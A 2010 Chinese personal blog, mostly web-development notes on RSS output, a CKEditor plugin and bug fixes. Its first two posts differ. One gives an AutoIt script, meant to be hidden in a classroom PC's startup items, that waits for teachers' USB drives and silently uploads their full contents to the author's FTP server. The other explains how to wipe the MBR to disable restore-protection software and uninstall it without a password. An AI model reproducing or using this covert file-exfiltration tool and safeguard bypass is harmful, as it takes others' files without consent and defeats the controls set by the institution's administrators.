悄悄地把课件传上FTP...

2010/03/11/ 11:34 下午  |  分类:技术心得

感谢网络中心给每个教室的电脑都接了网。

对于不给拷课件的老师,我们只有做点手脚了。 有网绝对好办。

首先把还原精灵给干了,这个我说过了。

嗯,放个脚本偷偷传,是个好主意。可VB不熟(顶多混个二级过关),C++都不会。那么。。。哈哈~用AutoIt吧~

脚本还没写的很好,不过关键问题解决了。一个是用FTP方式上传,一个是检测可移动设备:

#include <FTPEx.au3>
$server = 'www.njnu.me'
$username = 'xxx'
$password = 'xxx'
$localdir = 'f:'
$remotedir = ''
$ftpopen = _FTP_Open("up")
$ftpconn = _FTP_Connect($ftpopen,$server,$username,$password)
$rt1 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,0)
$rt2 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,1)

这是上传的。最后有2句差不多的,前一个是把目录下的文件上传,后一个是遍历所有子目录上传其中的文件。

While 1
Sleep(300)
$var = DriveGetDrive("REMOVABLE")
For $i = 1 To $var[0]
 If $var[$i] <> "a:" Then
  '这里执行上传代码($var[$i]为驱动器盘符)
  Exit
 EndIf
Next
Sleep(5000)
WEnd

这是检测移动设备的。有时候A盘也会被看作可移动设备,所以要去掉。脚本可以加到开机启动项里,每过大概5分钟检测一次,直到可移动设备出现。

......

干掉还原精灵

2010/03/11/ 09:54 上午  |  分类:技术心得

这个标题看起来很暴力而已,实际上很温柔的。

开机前进入DOS工具箱(一般的集成XP盘都带),一般都会有管理硬盘分区的软件。选择重建主引导扇区(MBR),然后重启使得设置生效。这时候就会发现还原精灵的还原界面没有了,直接看到XP那个启动界面。

下面会小悲剧下,不出意外会蓝屏。再次重启,Windows会让你选择用哪种方式启动,选择“最后一次正确的配置”,就是最长的那个。进入系统就不会蓝屏了。

进入系统后卸载还原精灵就无需输入密码了,然后提示有卸载错误。不去管它,实际上已经卸载了。

谷歌真有爱

2010/03/08/ 12:10 上午  |  分类:资源资讯

如图...

谷歌终于有动静了。。。

2010/03/07/ 12:56 上午  |  分类:心情随笔

收录终于更新了。。。

不过还是很悲剧的才几页。。。

淡定而有耐心的等待吧。。。

伤心不需要理由

2010/03/05/ 01:56 上午  |  分类:心情随笔

RT

累了

睡觉

关于评论功能

2010/03/04/ 11:53 上午  |  分类:技术心得

评论功能本来是很简单的。一个表单就成了。

但是要营造舆论的和谐气氛,以及避免数据安全问题,需要加上过滤以及审核系统,那么就相对恶心点了。

不过评论还是会尽快出来的。交互功能嘛,不能少的。

[更新]RSS订阅上线~

2010/03/04/ 11:28 上午  |  分类:技术心得

RSS订阅已经能够使用。鉴于站不大,决定xml用动态的,不做静态生成。暂时rss相关的东西也没有做成单独的类,算是偷懒了。

基本思想就是用Response向页面输出一个二进制流。以下是我的基本代码,没有读数据库的部分:

 XmlTextWriter xmltw = null;
 xmltw = new XmlTextWriter(Response.OutputStream,Encoding.UTF8);
 xmltw.Formatting = Formatting.Indented;
 xmltw.Indentation = 3;
 xmltw.WriteStartDocument();

 xmltw.WriteStartElement("rss");
 xmltw.WriteAttributeString("version", "2.0");
 xmltw.WriteAttributeString("xmlns:content", "http://purl.org/rss/1.0/modules/content/");
 xmltw.WriteAttributeString("xmlns:wfw", "http://wellformedweb.org/CommentAPI/");
 xmltw.WriteAttributeString("xmlns:dc", "http://purl.org/dc/elements/1.1/");
 xmltw.WriteAttributeString("xmlns:atom", "http://www.w3.org/2005/Atom");
 xmltw.WriteAttributeString("xmlns:sy", "http://purl.org/rss/1.0/modules/syndication/");
 //以上rss
 //以下channel
 xmltw.WriteStartElement("channel");
 xmltw.WriteElementString("title", "阳光海岸");
 xmltw.WriteElementString("link", "http://blog.cn-sun.net");
 xmltw.WriteElementString("description", "Phoenix Sun's Blog");
 xmltw.WriteElementString("pubDate", DateTime.Now.ToString("r"));
 xmltw.WriteElementString("language", "en-us");
 xmltw.WriteElementString("copyright", "Copyright 2010");
 xmltw.WriteElementString("generator", "http://blog.cn-sun.net");
 //以下item

 xmltw.WriteStartElement("item");
 xmltw.WriteElementString("title", "测试");
 xmltw.WriteElementString("link", "/Topic.aspx?ID=1");
 xmltw.WriteElementString("pubDate", "Mon, 08 Feb 2010 09:31:55 +0000");

 xmltw.WriteStartElement("category");
 xmltw.WriteCData("测试分类");
 xmltw.WriteEndElement();

 xmltw.WriteStartElement("guid");
 xmltw.WriteAttributeString("isPermaLink", "false");
 xmltw.WriteString("http://blog.cn-sun.net/Topic.aspx?ID=1");
 xmltw.WriteEndElement();

 xmltw.WriteStartElement("description");
 xmltw.WriteCData("测试内容");
 xmltw.WriteEndElement();
 xmltw.WriteEndElement();
 //以上item

 xmltw.WriteEndElement();
 xmltw.WriteEndDocument();

 xmltw.Flush();
 xmltw.Close();

 Response.ContentType = "text/xml";
 Response.ContentEncoding = Encoding.UTF8;
 Response.End();

这是参照网上的方法简化的。网上那个方法看着太头大了=。=!

修正了几个BUG

2010/03/03/ 01:06 上午  |  分类:技术心得

一个是后台发布文章标题时不能使用 < 和 > 标记的问题:

文章标题应该是纯文本。之前写的时候没有处理,使得<xxx>原样存入,输出时被浏览器当作是html标签,导致错误并不显示。

将入库时候的字符串做下html编码,用Server.HtmlEncode(string str)str即可。

 

另一个是关于页面伪静态的:当URL变化时候相对路径的东西的URL也会变化,导致不能正常显示图片和调用JS脚本等等。

修改了所有的相对路径的图片和JS脚本的路径,问题解决。

 

另:URL静态暂时还没做用于连接,但已经可以访问。比方说本文可以使用 http://blog.cn-sun.net/9/ 来访问。

[更新]实现WP用<more>分页的功能

2010/03/01/ 12:38 上午  |  分类:技术心得

1.首先为CKeditior添加了一个插件,用于插入[more]标记。

在CKeditor的plugins目录下新建一个文件夹,我取名pagemore,再在其中添加一个js文件plugin.js:

CKEDITOR.plugins.add( 'pagemore',
{
 init : function( editor )
 {
  // Register the command.
  editor.addCommand( 'pagemore', CKEDITOR.plugins.pagemoreCmd );

  // Register the toolbar button.
  editor.ui.addButton( 'PageMore',
   {
    label : 'PageMore',
    command : 'pagemore',
    icon: this.path+"images/apage.jpg"//这里是编辑器上的图标,当前是相对路径
   });
   
 },

 requires : [ 'fakeobjects' ]
});

CKEDITOR.plugins.pagemoreCmd =
{
 exec : function( editor )
 {
  // Create the element that represents a print break.
  var moreObject = CKEDITOR.dom.element.createFromHtml( '[more]' );

  var ranges = editor.getSelection().getRanges();

  for ( var range, i = 0 ; i < ranges.length ; i++ )
  {
   range = ranges[ i ];

   if ( i > 0 )
    moreObject = moreObject.clone( true );

   range.splitBlock( 'p' );
   range.insertNode( moreObject );
  }
 }
};

这个是参照pagebreak写的,作用是换行并插入[more]标记。网上有个看起来更简单点的,但用下来报错。

要在工具栏中启用之得修改配置文件config.js,加上这个插件。我的是这样的:

......

[更新]内容页收藏功能

2010/03/01/ 12:10 上午  |  分类:技术心得

共可收藏至18个收藏网站。

代码基本思想是获取当前页面URL,整合到GET方式请求的参数中去。

这些代码全部在客户端执行。查看本页源文件即可获取到。

这段代码原先是Wordpress插件。原版权:http://www.thinkagain.cn/